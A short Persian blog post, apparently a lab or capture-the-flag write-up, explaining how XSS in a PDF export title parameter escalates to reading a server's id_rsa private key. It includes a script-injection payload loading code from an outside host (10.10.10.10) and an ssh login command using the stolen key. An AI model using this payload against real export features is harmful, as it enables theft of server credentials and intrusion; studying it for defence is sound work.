rezaduty
rezaduty
خواندن ۱ دقیقه·۴ سال پیش

از xss به rce

the-scientist.com
the-scientist.com

همانطور که می دانیم آسیب پذیری xss در سمت کاربر یا client رخ می دهد بنابر این هر اسکریپت یا دستور که تزریق می شود در سمت کاربر و به ازای هر کاربر اجرا می شود؛

با این توضیحات فرض کنید سامانه ای وجود دارد که می توان در بخش export آن گزارشات مختلف را به صورت pdf دریافت نمود.

درخواست export، شامل عنوان فایل خروجی و قابل تغییر است ؛ به این صورت که می توان عنوان فایل را از title=History به title=Test تغییر داد.

این تغییر به شکل <title=<h1>test</h1 هم امکان پذیر است و در فایل خروجی می تواند html injection انجام بپذیرد.

همچنین می توانیم به جای test اسکریپتی را در صفحه بارگذاری کنیم.

title=<script src=&quothttp://10.10.10.10/script.js&quot>

برای امکان ارتقاء آسیب پذیری xss ابتدا در فایل script.js موقعیت اجرا اسکریپت را بررسی می کنیم.

برای این کار می توانیم از به شکل زیر استفاده می کنیم.

اگر خروجی location مانند تصویر به شکل :file بود

می توانیم با استفاده از XMLHttpRequest به سمت سرور فایلی را بخوانیم و در فایل export گرفته شده در سمت کاربر نمایش بدهیم.

درخواست های XMLHttpRequest قابلیت ارسال درخواست سمت سرور را با استفاده از جاوااسکریپت به ما می دهند.

برای نمایش id_rsa سمت سرور از کد زیر در script.js استفاده می کنیم.

کد بالا هنگام اجرا درخواستی به مسیر /home/reader ارسال و فایل id_rsa فرخوانی و به صورت base64 encode نمایش می دهد.

حالا درخواست export را با پارامتر

<title=<script src=&quothttp://10.10.10.10/script.js&quot></script

ارسال می کنم.

هنگام اجرا با توجه به وجود آسیب پذیری xss، اسکریپت بارگذاری و توسط XMLHttpRequest، فایل در سمت سرور خوانده و مانند تصویر در فایل نهایی خروجی سمت کاربر نمایش داده می شود.


برای اتصال به سرور کلید نهایی را ذخیره با دستور زیر به آن متصل می شویم.

ssh -i id_rsa reader@victim

امنیت سایبریآسیب پذیریتست نفوذxssrce
به نام خداوندی که به آدمی آنچه را که نمی‌دانست تعلیم داد.
شاید از این پست‌ها خوشتان بیاید